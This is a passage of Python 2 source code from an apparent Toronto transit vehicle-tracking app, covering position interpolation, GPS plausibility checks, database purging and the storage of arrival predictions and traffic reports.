dirs_disagree(dir1_, dir2_):\n\treturn (dir1_ == 0 and dir2_ == 1) or (dir1_ == 1 and dir2_ == 0)\n\n# To do it this way may seem odd but we get the latest of these things by interpolating between the second-last (lolo) and \n# the last (lo) with a ratio of 1.0, because that extrapolation code (nonpath_interp_single_latlonnheadingnmofr()) has some nice code that does \n# snap-by-mofr or snap-to-tracks, which I don't feel like copying and pasting and stripping down for the ratio = 1.0 case. \n\n# lolo_vi_ may seem unnecessary here because of the ratio of 1.0, but it is used to find the heading \n# if tracks are being used - will be a choice between X and X + 180. If we have only one sample (lo_vi_) then common sense \n# says that there's no way that we can figure out that heading. \ndef get_latlonnheadingnmofr_from_lo_sample(lolo_vi_, lo_vi_, datazoom_, be_clever_, log_):\n\tassert lo_vi_ is not None\n\tif lolo_vi_ is not None:\n\t\treturn nonpath_interp_single_latlonnheadingnmofr(lolo_vi_, lo_vi_, 1.0, datazoom_, be_clever_, log_)\n\telse:\n\t\t# We would do something like this:\n\t\t#return nonpath_interp_single_latlonnheadingnmofr(lo_vi_, lo_vi_, 1.0, datazoom_, be_clever_, log_)\n\t\t# ... but I don't think we'll ever encounter this scenario, because we only want to return vehicle locations\n\t\t# if we have about 5 or 6 raw samples for that vid, right?\n\t\t# If we hit this case, that means that we have one sample.\n\t\traise Exception()\n\n\t\t\n# Interpolates via mofrs if possible, or off-route simple interpolation. \n# \n# be_clever_ - means use routes if mofrs are valid.\n#\n# note 23906728947234: slight lie about making mofr -1 here. I used to set it to None, so that later whenever someone \n# used vi.mofr on this object (which would probably be during serialization to JSON), \n# vinfo.VehicleInfo would calculate it from the latlng. It could be a valid mofr. Something interpolated half-way between \n# eg. a position 500 meters to one side of a route and 500 meters to the other could be a valid mofr. But it doesn't mean \n# much and more importantly - nobody is looking at this interpolated mofr - neither human nor code. \n# So even though None would be more honest, I'm setting it to -1 for a slight performance increase (about 5% of a full \n# reports generation run, as it stands now).\ndef nonpath_interp_single_latlonnheadingnmofr(vi1_, vi2_, time_ratio_, datazoom_, be_clever_, log_):\n\tassert isinstance(vi1_, vinfo.VehicleInfo) and isinstance(vi2_, vinfo.VehicleInfo) and (vi1_.vehicle_id == vi2_.vehicle_id)\n\tassert vi1_.time < vi2_.time and (datazoom_ is None or datazoom_ in c.VALID_DATAZOOMS)\n\tr = None\n\tcan_be_clever = vi1_.dir_tag and vi2_.dir_tag and (vi1_.fudgeroute == vi2_.fudgeroute)\n\tbeing_clever = be_clever_ and can_be_clever\n\tif being_clever:\n\t\tfroute = vi1_.fudgeroute\n\t\tif vi1_.mofr!=-1 and vi2_.mofr!=-1:\n\t\t\tinterp_mofr = geom.avg(vi1_.mofr, vi2_.mofr, time_ratio_)\n\t\t\tdir_tag_int = vi2_.dir_tag_int\n\t\t\tif dir_tag_int == None:\n\t\t\t\traise Exception('Could not determine dir_tag_int of %s' % (str(vi2_)))\n\t\t\tr = routes.mofr_to_latlonnheading(froute, interp_mofr, dir_tag_int, datazoom_) + (interp_mofr,)\n\n\tif r is None:\n\t\tvi1_latlng = vi1_.latlng; vi2_latlng = vi2_.latlng\n\t\tif being_clever:\n\t\t\tif vi1_.mofr!=-1:\n\t\t\t\tvi1_latlng = routes.mofr_to_latlon(vi1_.fudgeroute, vi1_.mofr, vi1_.dir_tag_int, datazoom_)\n\t\t\tif vi2_.mofr!=-1:\n\t\t\t\tvi2_latlng = routes.mofr_to_latlon(vi2_.fudgeroute, vi2_.mofr, vi2_.dir_tag_int, datazoom_)\n\t\tr = (vi1_latlng.avg(vi2_latlng, time_ratio_), vi1_latlng.heading(vi2_latlng), -1) # see note 23906728947234 \n\n\tif log_:\n\t\tprinterr('vid %s non-path interpolation between %s and %s /\\n%s and %s:' % \\\n\t\t\t\t(vi1_.vehicle_id, vi1_.latlng, vi2_.latlng, vi1_.timestr, vi2_.timestr))\n\t\tprinterr('\\ttime_ratio=%.2f' % time_ratio_)\n\t\tprinterr('\\tresult=%s' % r[0])\n\n\treturn r\n\ndef get_locations_clientside_list(vid_to_interptime_to_vi_, time_window_, log_=False):\n\ttime_to_vis = {time: [] for time in lrange(time_window_.start, time_window_.end+1, 60*1000)}\n\tfor interptime_to_vi in vid_to_interptime_to_vi_.itervalues():\n\t\tfor interptime, vi in interptime_to_vi.iteritems():\n\t\t\tif vi is not None:\n\t\t\t\ttime_to_vis[interptime].append(vi)\n\n\tvid_to_stretches = defaultdict(lambda: [])\n\tvid_to_cur_stretch = defaultdict(lambda: [])\n\n\tfor time in sorted(time_to_vis.keys()):\n\t\tvis_for_time = time_to_vis[time]\n\t\tfor vi in vis_for_time:\n\t\t\tvid_to_cur_stretch[vi.vehicle_id].append(vi)\n\t\tvids_for_time = [vi.vehicle_id for vi in vis_for_time]\n\t\tfor vid in [vid for vid in vid_to_cur_stretch.keys() if vid not in vids_for_time]:\n\t\t\tvid_to_stretches[vid].append(vid_to_cur_stretch[vid])\n\t\t\tdel vid_to_cur_stretch[vid]\n\tfor vid, stretch in vid_to_cur_stretch.iteritems():\n\t\tvid_to_stretches[vid].append(stretch)\n\n\tfor vid, stretches in vid_to_stretches.iteritems():\n\t\tnew_stretches = []\n\t\tfor stretch in stretches:\n\t\t\tif len(stretch) >= 2:\n\t\t\t\tnew_stretches.append(stretch)\n\t\t\telse:\n\t\t\t\tif log_:\n\t\t\t\t\tprinterr('Throwing out stretch:')\n\t\t\t\t\tfor vi in stretch:\n\t\t\t\t\t\tprinterr('\\t%s' % vi)\n\t\tstretches[:] = new_stretches\n\n\tnew_time_to_vis = {}\n\t# Making sure that all times that were in the time_to_vis arg are in the \n\t# dict that we return, even if we have no vis left for some of those times. \n\t# This is especially important because currently traffic.php, when showing \n\t# multiple routes, shows locations only for the intersection of the times that \n\t# it has for those routes. So if we return from here only a couple of \n\t# minutes for one of the routes (because for example that route is going out \n\t# of service for the day) then that will result in most of the times for all \n\t# of the other routes not being shown. That would be unfortunate. \n\tfor tyme in time_to_vis.keys():\n\t\tnew_time_to_vis[tyme] = []\n\tfor vid, stretches in vid_to_stretches.iteritems():\n\t\tfor stretch in stretches:\n\t\t\tfor vi in stretch:\n\t\t\t\tnew_time_to_vis[vi.time].append(vi)\n\n\tr = []\n\tfor time in sorted(new_time_to_vis.keys()):\n\t\tvis = new_time_to_vis[time]\n\t\tvis.sort(key=lambda vi: vi.vehicle_id) # For debugging. To ensure a predictable output order. \n\t\tr.append([em_to_str(time)] + vis)\n\treturn r\n\n# return (lolo, lo, hi). lo and hi bound t_ by time. lolo is one lower than lo.\ndef get_nearest_time_vis(vis_, t_):\n\tassert (type(t_) == long) and (len(set(vi.vehicle_id for vi in vis_)) == 1)\n\tif len(vis_) == 0:\n\t\treturn (None, None, None, -1, -1, -1)\n\tassert is_sorted(vis_, key=lambda vi: vi.time)\n\tr_lo = None; r_hi = None\n\tfor hi_idx in range(len(vis_)-1, 0, -1):\n\t\tlo_idx = hi_idx-1\n\t\thi = vis_[hi_idx]; lo = vis_[lo_idx]\n\t\tif hi.time > t_ >= lo.time:\n\t\t\tif lo_idx > 0:\n\t\t\t\treturn (vis_[lo_idx-1], lo, hi, lo_idx-1, lo_idx, hi_idx)\n\t\t\telse:\n\t\t\t\treturn (None, lo, hi, -1, lo_idx, hi_idx)\n\tif t_ >= vis_[-1].time:\n\t\tif len(vis_) >= 2:\n\t\t\tlolo_idx = len(vis_)-2; lo_idx = len(vis_)-1\n\t\t\treturn (vis_[lolo_idx], vis_[lo_idx], None, lolo_idx, lo_idx, -1)\n\t\telse:\n\t\t\tlo_idx = len(vis_)-1\n\t\t\treturn (None, vis_[lo_idx], None, -1, lo_idx, -1)\n\telif t_ < vis_[-1].time:\n\t\t hi_idx = len(vis_)-1\n\t\t return (None, None, vis_[hi_idx], -1, -1, hi_idx)\n\telse:\n\t\treturn (None, None, None, -1, -1, -1)\n\n# returns a list of 2-tuples - (fore VehicleInfo, stand VehicleInfo)\n# list probably has max_ elements.\ndef get_recent_passing_vehicles(froute_, post_, max_, end_time_em_=now_em(), dir_=None, include_unpredictables_=False):\n\tvid_to_lastvi = {}\n\tn = 0\n\tr = []\n\tfor curvi in vi_select_generator(froute_, end_time_em_, 0, dir_, include_unpredictables_):\n\t\tif len(r) >= max_:\n\t\t\tbreak\n\t\tvid = curvi.vehicle_id\n\t\tif vid in vid_to_lastvi:\n\t\t\tlastvi = vid_to_lastvi[vid]\n\t\t\tif geom.passes(curvi.latlng, lastvi.latlng, post_):\n\t\t\t\tr.append((curvi, lastvi))\n\t\tvid_to_lastvi[vid] = curvi\n\treturn r\n\ndef purge(num_days_):\n\tassert isinstance(num_days_, int)\n\tassert num_days_ >= 0\n\tpurge_delete(num_days_)\n\tpurge_vacuum()\n\n@lock\n@trans\ndef purge_delete(num_days_):\n\tcurs = conn().cursor()\n\t# Delete all rows older than X days: \n\tnum_millis = 1000*60*60*24*num_days_\n\tcurs.execute('delete from ttc_vehicle_locations where time_retrieved < round(extract(epoch from clock_timestamp())*1000) - %d;' % num_millis)\n\tcurs.execute('delete from predictions where time_retrieved < round(extract(epoch from clock_timestamp())*1000) - %d;' % num_millis)\n\tcurs.execute('delete from reports where time < round(extract(epoch from clock_timestamp())*1000) - %d;' % num_millis)\n\tcurs.close()\n\n@lock\ndef purge_vacuum():\n\told_isolation_level = conn().isolation_level\n\tconn().set_isolation_level(0)\n\tcurs = conn().cursor()\n\tcurs.execute('vacuum analyze;')\n\tcurs.close()\n\tconn().set_isolation_level(old_isolation_level)\n\n@lock\n@trans\ndef insert_predictions(predictions_):\n\tassert isinstance(predictions_, Sequence)\n\tcurs = conn().cursor()\n\tif len(predictions_) > 0:\n\t\tfor p in predictions_:\n\t\t\tassert isinstance(p, predictions.Prediction)\n\t\t\tcols = [p.froute, p.croute, p.stoptag, em_to_str(p.time_retrieved), em_to_str(p.time), p.dirtag, p.vehicle_id, \n\t\t\t\t\tp.is_departure, p.block, p.triptag, p.branch, p.affected_by_layover, p.is_schedule_based, p.delayed, \n\t\t\t\t\tp.time_retrieved, p.time]\n\t\t\tcurs.execute('INSERT INTO predictions VALUES (%s)' % ', '.join(['%s']*len(cols)), cols)\n\tcurs.close()\n\n# returns list of Prediction \n@lock\ndef get_predictions(froute_, start_stoptag_, dest_stoptag_, time_):\n\tassert routes.routeinfo(froute_).are_predictions_recorded(start_stoptag_)\n\ttime_ = massage_time_arg(time_, 60*1000)\n\tcurs = conn().cursor()\n\twhere_clause = ' where fudgeroute = %s and stoptag = %s and time_retrieved between %s and %s' \n\tsqlstr = 'select '+PREDICTION_COLS+' from predictions '+where_clause\\\n\t\t+ ' and time_retrieved = (select max(time_retrieved) from predictions '+where_clause+') ' \\\n\t\t+ ' order by time_of_prediction'\n\tcurs.execute(sqlstr, [froute_, start_stoptag_, time_-1000*60*15, time_]*2)\n\tr = []\n\tfor row in curs:\n\t\tprediction = predictions.Prediction(*row)\n\n\t\tif prediction.time < time_: # Not a big deal. Handling the case of the query above\n\t\t\tcontinue # returning some predictions from towards the beginning of the 15-minute window,\n\t\t\t\t# and the predicted arrival time of some of those having already passed (assuming that time_ is the current time)\n\t\t\t\t# so there is no point in returning them. This will tend to happen more if predictions\n\t\t\t\t# have been not showing up in the db for the last few minutes.\n\n\t\tif dest_stoptag_ is not None:\n\t\t\tif prediction.dirtag in routes.routeinfo(froute_).get_stop(dest_stoptag_).dirtags_serviced:\n\t\t\t\tr.append(prediction)\n\t\telse:\n\t\t\tr.append(prediction)\n\tcurs.close()\n\treturn r\n\n# a generator. yields a Prediction.\n@lock\ndef get_predictions_gen(froute_, start_stoptag_, dest_stoptag_, time_retrieved_min_, time_retrieved_max_):\n\ttime_retrieved_min_ = massage_time_arg(time_retrieved_min_)\n\ttime_retrieved_max_ = massage_time_arg(time_retrieved_max_)\n\tassert routes.routeinfo(froute_).are_predictions_recorded(start_stoptag_) and (time_retrieved_min_ < time_retrieved_max_)\n\tcurs = conn().cursor()\n\tsqlstr = 'select '+PREDICTION_COLS+' from predictions where fudgeroute = %s and stoptag = %s and time_retrieved between %s and %s '\\\n\t\t\t+' order by time_retrieved'\n\tcurs.execute(sqlstr, [froute_, start_stoptag_, time_retrieved_min_, time_retrieved_max_])\n\tfor row in curs:\n\t\tprediction = predictions.Prediction(*row)\n\t\tif (dest_stoptag_ is None) or (prediction.dirtag in routes.routeinfo(froute_).get_stop(dest_stoptag_).dirtags_serviced):\n\t\t\tyield prediction\n\tcurs.close()\n\n# a generator. yields a list of Prediction.\ndef get_predictions_group_gen(froute_, start_stoptag_, dest_stoptag_, time_retrieved_min_, time_retrieved_max_):\n\tpredictions = [] # build this up, yield it, clear it, repeat.\n\tdef sort_predictions():\n\t\tpredictions.sort(key=lambda p: p.time)\n\tfor prediction in get_predictions_gen(froute_, start_stoptag_, dest_stoptag_, time_retrieved_min_, time_retrieved_max_):\n\t\tif len(predictions) == 0 or predictions[0].time_retrieved == prediction.time_retrieved:\n\t\t\tpredictions.append(prediction)\n\t\telse:\n\t\t\tsort_predictions()\n\t\t\tyield predictions\n\t\t\tdel predictions[:]\n\t\t\tpredictions.append(prediction)\n\tif len(predictions) > 0:\n\t\tsort_predictions()\n\t\tyield predictions\n\n# Scenario - waiting at startmofr_ at time_ for the next vehicle to come.\n# Return map containing keys 'time_caught', 'time_arrived', and 'vid'.\n# Times are absolute epoch times in millis, not a relative time spent travelling.\ndef get_observed_arrival_time(froute_, startstoptag_, deststoptag_, time_):\n\treturn mc.get(get_observed_arrival_time_impl, [froute_, startstoptag_, deststoptag_, time_])\n\ndef get_observed_arrival_time_impl(froute_, startstoptag_, deststoptag_, time_):\n\tassert startstoptag_ != deststoptag_\n\ttime_ = massage_time_arg(time_)\n\tri = routes.routeinfo(froute_)\n\tassert ri.get_stop(startstoptag_).direction == ri.get_stop(deststoptag_).direction\n\tstartmofr = ri.get_stop(startstoptag_).mofr; destmofr = ri.get_stop(deststoptag_).mofr\n\tstartvi1, startvi2 = _get_observed_arrival_time_caught_vehicle_passing_vis(froute_, startstoptag_, deststoptag_, time_)\n\tassert startvi1.vehicle_id == startvi2.vehicle_id\n\n\ttime_caught = startvi1.get_pass_time_interp(startvi2, startmofr)\n\ttime_arrived = _get_observed_arrival_time_arrival_time(startvi1, startstoptag_, deststoptag_)\n\treturn {'time_caught': time_caught, 'time_arrived': time_arrived, 'vid': startvi1.vehicle_id}\n\n@lock\ndef _get_observed_arrival_time_arrival_time(startvi1_, startstoptag_, deststoptag_):\n\tassert isinstance(startvi1_, vinfo.VehicleInfo) and isinstance(startstoptag_, basestring) and isinstance(deststoptag_, basestring)\n\tri = routes.routeinfo(routes.CONFIGROUTE_TO_FUDGEROUTE[startvi1_.route_tag])\n\tstartmofr = ri.get_stop(startstoptag_).mofr; destmofr = ri.get_stop(deststoptag_).mofr\n\tdirection = mofrs_to_dir(startmofr, destmofr)\n\tcurs = conn().cursor()\n\tcurs.execute('select '+VI_COLS+' from ttc_vehicle_locations where vehicle_id = %s and time > %s and time < %s order by time',\n\t\t\t[startvi1_.vehicle_id, startvi1_.time, startvi1_.time + 1000*60*60*2])\n\tlastvi = startvi1_\n\tr = None\n\tfor row in curs:\n\t\tcurvi = vinfo.VehicleInfo.from_db(*row)\n\t\tif curvi.mofr != -1 and (curvi.mofr >= destmofr if direction==0 else curvi.mofr <= destmofr):\n\t\t\tif (lastvi.mofr != -1) and abs(curvi.mofr - lastvi.mofr) < 1000:\n\t\t\t\tr = lastvi.get_pass_time_interp(curvi, destmofr)\n\t\t\t# else - lastvi.mofr == -1 could mean that the vehicle is coming back from a detour. the >= 1000 could mean\n\t\t\t# a large gap in GPS readings. Both could mean both - such as the odd short-turn / detour that vid 4040 (route 505)\n\t\t\t# does around 2013-01-15 16:50. In some cases like this, mabye we could (and should) get a useful return value for\n\t\t\t# this method out of this. But this would at least require more coding here, such as searching backwards in these rows\n\t\t\t# for the last row with mofr != -1.\n\t\t\t# TODO: do filtering out of buggy GPS readings here, like graphical vehicle locations interpolation does.\n\t\t\tbreak\n\t\tlastvi = curvi\n\tcurs.close()\n\treturn r\n\n# note [1] - TODO: do more here. Handle cases of caught vehicle being stuck and rescued by another vehicle. three sub-cases:\n# 1) rescue from behind (must be a bus),\n# 2) rescue by vehicle in front (i.e. caught vehicle short turns, passengers transfer onto vehicle in front)\n# 3) rescue from the side (i.e rescue bus shows up not from behind. I have never seen this, in person or in the data.)\n@lock\ndef _get_observed_arrival_time_caught_vehicle_passing_vis(froute_, startstoptag_, deststoptag_, time_):\n\tri = routes.routeinfo(froute_)\n\tstartmofr = ri.get_stop(startstoptag_).mofr; destmofr = ri.get_stop(deststoptag_).mofr\n\tdirection = mofrs_to_dir(startmofr, destmofr)\n\tcurs = conn().cursor()\n\ttry:\n\t\tcurs.execute('select '+VI_COLS+' from ttc_vehicle_locations where fudgeroute = %s and time >= %s and time < %s order by time',\n\t\t\t\t\t [froute_, time_ - 1000*60*5, time_ + 1000*60*60])\n\t\tcandidate_vid_to_lastvi = {}\n\t\tfor row in curs:\n\t\t\tcurvi = vinfo.VehicleInfo.from_db(*row)\n\t\t\tif curvi.vehicle_id in candidate_vid_to_lastvi:\n\t\t\t\tlastvi = candidate_vid_to_lastvi[curvi.vehicle_id]\n\t\t\t\tif lastvi.mofr != -1 and curvi.mofr != -1 \\\n\t\t\t\t\t\tand (lastvi.mofr <= startmofr <= curvi.mofr if direction == 0 else lastvi.mofr >= startmofr >= curvi.mofr)\\\n\t\t\t\t\t\tand fix_dirtag_str(curvi.dir_tag, direction, curvi.route_tag) in ri.get_stop(deststoptag_).dirtags_serviced \\\n\t\t\t\t\t\tand lastvi.get_pass_time_interp(curvi, startmofr) >= time_:\n\t\t\t\t\t#print 'fixed:', fix_dirtag_str(curvi.dir_tag, direction, curvi.route_tag)# in ri.get_stop(deststoptag_).dirtags_serviced\\\n\t\t\t\t\treturn (lastvi, curvi)\n\t\t\tcandidate_vid_to_lastvi[curvi.vehicle_id] = curvi\n\t\telse:\n\t\t\traise Exception('No passing vehicle found at start point within reasonable time frame.')\n\tfinally:\n\t\tcurs.close()\n\n# returns report json, always non-None. raises ReportNotFoundException if report does not exist in db. \n@lru_cache(10)\n@mc.decorate\n@lock\ndef get_report(report_type_, froute_, dir_, datazoom_, time_):\n\tassert isinstance(time_, long)\n\tcurs = conn().cursor()\n\ttry:\n\t\tcurs.execute('select report_json from reports where app_version = %s and report_type = %s and froute = %s and direction = %s '\\\n\t\t\t\t+' and datazoom = %s and time = %s', [c.VERSION, report_type_, froute_, dir_, datazoom_, time_])\n\t\tfor row in curs:\n\t\t\treturn row[0]\n\t\telse:\n\t\t\traise ReportNotFoundException()\n\tfinally:\n\t\tcurs.close()\n\nclass ReportNotFoundException(Exception):\n\tpass\n\n\ndef get_latest_report_time(froute_, dir_):\n\tr = mc.get_from_memcache('db.get_latest_report_time', [froute_, dir_], {})\n\tif r is not None:\n\t\treturn r\n\telse:\n\t\tr = get_latest_report_time_impl(froute_, dir_)\n\t\tset_latest_report_time_in_memcache(froute_, dir_, r)\n\t\treturn r\n\n@lock\ndef get_latest_report_time_impl(froute_, dir_):\n\tcurs = conn().cursor('cursor_%d' % (int(time.time()*1000)))\n\ttry:\n\t\t# We assume here (and elsewhere) and all of the reports for a certain \n\t\t# froute and direction (that is, all report types and datazooms thereof) \n\t\t# were inserted at the same time i.e. atomically in the database. \n\t\tcurs.execute('select time from reports where app_version = %s and froute = %s and direction = %s '\\\n\t\t\t\t+' and time > %s order by time desc limit 1', [c.VERSION, froute_, dir_, now_em() - 1000*60*c.REPORTS_MAX_AGE_MINS])\n\t\tfor row in curs:\n\t\t\treports_time = row[0]\n\t\t\treturn reports_time\n\t\traise Exception('route=%s, dir=%d - either the most current report in database is too old (max age=%d minutes), '\\\n\t\t\t\t'or no reports for this app version (%s) exist.' % (froute_, dir_, c.REPORTS_MAX_AGE_MINS, c.VERSION))\n\tfinally:\n\t\tcurs.close()\n\n# As in - set a value in memcache for the function db.get_latest_report_time().\ndef set_latest_report_time_in_memcache(froute_, dir_, time_):\n\tassert froute_ in routes.NON_SUBWAY_FUDGEROUTES and dir_ in (0, 1)\n\tassert isinstance(time_, long)\n\tmc.set('db.get_latest_report_time', [froute_, dir_], {}, time_)\n\ndef set_report_in_memcache(report_type_, froute_, dir_, datazoom_, time_, data_):\n\tmc.set('db.get_report', [report_type_, froute_, dir_, datazoom_, time_], {}, data_)\n\ndef insert_reports(froute_, dir_, time_, reporttype_to_datazoom_to_reportdataobj_):\n\tassert froute_ in routes.NON_SUBWAY_FUDGEROUTES and dir_ in (0, 1)\n\n\treporttype_to_datazoom_to_reportjson = defaultdict(lambda: {})\n\tfor reporttype, datazoom_to_reportdataobj in reporttype_to_datazoom_to_reportdataobj_.iteritems():\n\t\tassert reporttype in ('traffic', 'locations') \n\t\tfor datazoom, reportdataobj in datazoom_to_reportdataobj.iteritems():\n\t\t\treporttype_to_datazoom_to_reportjson[reporttype][datazoom] = util.to_json_str(reportdataobj)\n\t\n\tinsert_reports_into_db(froute_, dir_, time_, reporttype_to_datazoom_to_reportjson)\n\tinsert_reports_into_memcache(froute_, dir_, time_, reporttype_to_datazoom_to_reportjson)\n\n# Here we want to insert all reports for a certain froute and direction (that \n# is, all datazooms, both report types) into the database at the same time \n# because there is some client side code that assumes this. That client side \n# code assumes this because it's easier to write that way. Also it could be \n# confusing if when the user changes zoom they might be forced back in time. \n# That is the main issue - inserting all datazooms at the same time. We insert \n# both report types at the same time too, but that is less important.\n@lock\n@trans\ndef insert_reports_into_db(froute_, dir_, time_, reporttype_to_datazoom_to_reportjson_):\n\ttime_inserted_str = now_str()\n\tfor reporttype, datazoom_to_reportjson in reporttype_to_datazoom_to_reportjson_.iteritems():\n\t\tfor datazoom, reportjson in datazoom_to_reportjson.iteritems():\n\t\t\tcurs = conn().cursor()\n\t\t\tcols = [c.VERSION, reporttype, froute_, dir_, datazoom, time_, em_to_str(time_), time_inserted_str, reportjson]\n\t\t\tcurs.execute('insert into reports values (%s,%s,%s,%s,%s,%s,%s,%s,%s)', cols)\n\t\t\tcurs.close()\n\n# This method has a bug if the report exists in the lrucache or memcache, but not in the db. \ndef does_report_exist_in_db(report_type_, froute_, dir_, datazoom_, time_):\n\ttry:\n\t\tget_report(report_type_, froute_, dir_, datazoom_, time_)\n\t\treturn True\n\texcept ReportNotFoundException:\n\t\treturn False\n\ndef insert_reports_into_memcache(froute_, dir_, time_, reporttype_to_datazoom_to_reportjson_):\n\tfor reporttype, datazoom_to_reportjson in reporttype_to_datazoom_to_reportjson_.iteritems():\n\t\tfor datazoom, reportjson in datazoom_to_reportjson.iteritems():\n\t\t\tset_report_in_memcache(reporttype, froute_, dir_, datazoom, time_, reportjson)\n\tset_latest_report_time_in_memcache(froute_, dir_, time_)\n\n@trans\ndef insert_demo_locations(froute_, demo_report_timestr_, vid_, locations_):\n\tif len(locations_) != 31: raise Exception('Got %d locations. Want 31.' % (len(locations_)))\n\tif not demo_report_timestr_.startswith('2020-'): raise Exception()\n\tdemo_report_time = str_to_em(demo_report_timestr_)\n\tfor locationi, location in enumerate(locations_):\n\t\tt = demo_report_time - 1000*60*30 + 1000*60*locationi\n\t\tif location is None:\n\t\t\tcontinue\n\t\tif isinstance(location, int):\n\t\t\tlatlng = routes.mofr_to_latlon(froute_, location, 0)\n\t\telse:\n\t\t\tlatlng = geom.LatLng(location)\n\t\tcroute = demo_froute_to_croute(froute_)\n\t\tvi = vinfo.makevi1(vehicle_id=vid_, latlng=latlng, route_tag=croute, time=t, time_retrieved=t)\n\t\tinsert_vehicle_info(vi)\n\ndef demo_froute_to_croute(froute_):\n\treturn routes.FUDGEROUTE_TO_CONFIGROUTES[froute_][0]\n\n@lock\n@trans\ndef delete_debug_reports_locations(report_time_em_):\n\tif report_time_em_ < now_em() + 1000*60*60*24*365*10:\n\t\traise Exception()\n\tdelete_min_time = report_time_em_ - 1000*60*60*24\n\tdelete_max_time = report_time_em_ + 1000*60*60*24\n\tcurs = conn().cursor()\n\tcurs.execute('delete from ttc_vehicle_locations where time_retrieved between %s and %s', \\\n\t\t\t[delete_min_time, delete_max_time])\n\tcurs.close()\n\n@lock\n@trans\ndef delete_debug_reports_reports(report_time_em_):\n\tif report_time_em_ < now_em() + 1000*60*60*24*365*10:\n\t\traise Exception()\n\tdelete_min_time = report_time_em_ - 1000*60*60*24\n\tdelete_max_time = report_time_em_ + 1000*60*60*24\n\tcurs = conn().cursor()\n\tcurs.execute('delete from reports where time between %s and %s and app_version = %s', \\\n\t\t\t[delete_min_time, delete_max_time, c.VERSION])\n\tcurs.close()\n\n# This is not precise, but hopefully will be helpful for the /developer/ using traffic.php. \n@lock\n@trans\ndef get_debug_reports_froute_and_dir(report_time_):\n\tcurs = conn().cursor()\n\tcurs.execute('''select froute, char_length(report_json) from reports where time = %s \n\t\t\tand report_type = 'locations' and datazoom = 0 and app_version = 'dev' order by direction''', [report_time_])\n\trows = []\n\twhile True:\n\t\trow = curs.fetchone()\n\t\tif row:\n\t\t\trows.append(row)\n\t\telse:\n\t\t\tbreak\n\tcurs.close()\n\tif len(rows) not in (0, 2):\n\t\traise Exception('Was expecting either 0 or 2 rows.')\n\tif len(rows) == 0:\n\t\treturn None\n\telse:\n\t\tif rows[0][0] != rows[1][0]:\n\t\t\traise Exception('Was expecting same froute in both rows.')\n\t\tfroute = rows[0][0]\n\t\t# Figuring that the locations report with the longer JSON string is probably where most of the data is: \n\t\tdirection = (0 if rows[0][1] > rows[1][1] else 1)\n\t\treturn (froute, direction)\n\n@lock\n@trans\ndef delete_demo_locations(froute_, demo_report_timestr_):\n\tif not demo_report_timestr_.startswith('2020-'): raise Exception()\n\tdemo_time = str_to_em(demo_report_timestr_)\n\tdelete_min_time = demo_time - 1000*60*60\n\tdelete_max_time = demo_time + 1000*60*60\n\tcurs = conn().cursor()\n\tcroute = demo_froute_to_croute(froute_)\n\tcurs.execute('delete from ttc_vehicle_locations where route_tag = %s and time_retrieved between %s and %s', \\\n\t\t\t[croute, delete_min_time, delete_max_time])\n\tcurs.close()\n\ndef close_connection():\n\tglobal g_conn\n\tif g_conn is not None:\n\t\ttry:\n\t\t\tg_conn.close()\n\t\texcept:\n\t\t\tpass\n\t\tg_conn = None\n\n# Note [1]: This is to account for the small gps inaccuracies that nearly all readings seem to have.\n# One can see this by drawing many vehicle locations on a google map with satellite view on. Otherwise\n# reasonable vehicles routinely appear in impossible places like on top of buildings.\n# I don't know if there is any pattern to these inaccuracies. I will assume that they are random and can\n# change completely from one reading to the next.\n# The large GPS errors (which are the entire reason for the 'remove bad gps' functions) have no limit to their\n# magnitude that I can see. The small GPS errors do, and it seems to be about 50 metres. (That's 50 metres from one\n# extreme to the other - i.e. 25 metres on either side of the road. Note that we don't use mofrs here, only\n# distance between latlngs.)\n# (newer comment - 50 metres may not be enough. eg. 2013-01-16 00:02:00.000 route: 505, vehicle: 4040, dir: '505_0_505' , ( 43.65366, -79.44915 ) , mofr: -1, heading: 140 \n# These small GPS errors, combined with scenarios where a given reading in our database has a logged time very soon\n# after the previous one (eg. 1 second or even less - as can happen in certain NextBus fluke scenarios I think, as well as\n# the couple of times when I've mistakenly been polling for vehicle locations with two processes at the same time)\n# can result in what looks like a very high speed. This code treats a very high speed as a new 'vigroup'. That is\n# undesirable and in a bad case previously caused this code to create some erroneous vigroups, and then at the end when it\n# picks the one containing the most vis, to throw out a lot of good vis.\n# eg. vid 1660 between 2013-01-07 12:39:59 and 12:41:09, without the 'small GPS error if clause' below, would cause this code\n# to create 2 new vigroups where it should have created no new ones.\ndef is_plausible(dist_m_, speed_kmph_):\n\tif dist_m_ < 50: # see note [1]\n\t\treturn True\n\telif dist_m_ < 1500:\n\t\t# The highest plausible speed that I've seen reported is 61.08 km/h. This was on Queensway south of High Park, \n\t\t# covering 1018 meters of track, over 60 seconds. (vid 4119 around 2014-03-15 02:53.)\n\t\treturn speed_kmph_ < 65 \n\telif dist_m_ < 5000:\n\t\treturn speed_kmph_ < 40\n\telse:\n\t\treturn speed_kmph_ < 30\n\ng_patchcache_froute_n_vid_to_time_window_n_plausgroups = {}\n\n# This is for removing large buggy GPS readings (example: vehicle 4116 2012-06-15 13:30 to 14:00.)\ndef get_plausgroups(vis_, froute_, time_window_):\n\tglobal g_patchcache_froute_n_vid_to_time_window_n_plausgroups\n\tassert vis_ and is_sorted(vis_, key=lambda vi: vi.time) and vinfo.same_vid(vis_) and isinstance(time_window_, TimeWindow)\n\tvid = vis_[0].vehicle_id\n\tr = None\n\tcachekey = (froute_, vid)\n\tif c.USE_PATCHCACHES and cachekey in g_patchcache_froute_n_vid_to_time_window_n_plausgroups:\n\t\told_time_window, old_plausgroups = g_patchcache_froute_n_vid_to_time_window_n_plausgroups[cachekey]\n\t\tassert old_plausgroups\n\t\tif old_time_window.span == time_window_.span and 0 <= time_window_.end - old_time_window.end < 1000*60*20:\n\t\t\tr = copy_plausgroups_for_patchcache(old_plausgroups)\n\t\t\ttrim_plausgroups_by_time_window(r, time_window_)\n\t\t\tnew_vis = old_time_window.gt_trimmed_vilist(vis_)\n\t\t\tfor new_vi in new_vis:\n\t\t\t\tadd_vi_to_appropriate_plausgroup(r, new_vi)\n\tif not r:\n\t\tr = []\n\t\tfor vi in vis_:\n\t\t\tadd_vi_to_appropriate_plausgroup(r, vi)\n\tprune_patchcache_get_plausgroups(time_window_)\n\tg_patchcache_froute_n_vid_to_time_window_n_plausgroups[cachekey] = (time_window_, copy_plausgroups_for_patchcache(r))\n\treturn r\n\n# deepcopy is slow. So for performance we're sharing vis a lot. Be careful and don't modify them.\ndef copy_plausgroups_for_patchcache(orig_groups_):\n\tr = []\n\tfor orig_group in orig_groups_:\n\t\tr_group = []\n\t\tr.append(r_group)\n\t\tfor vi 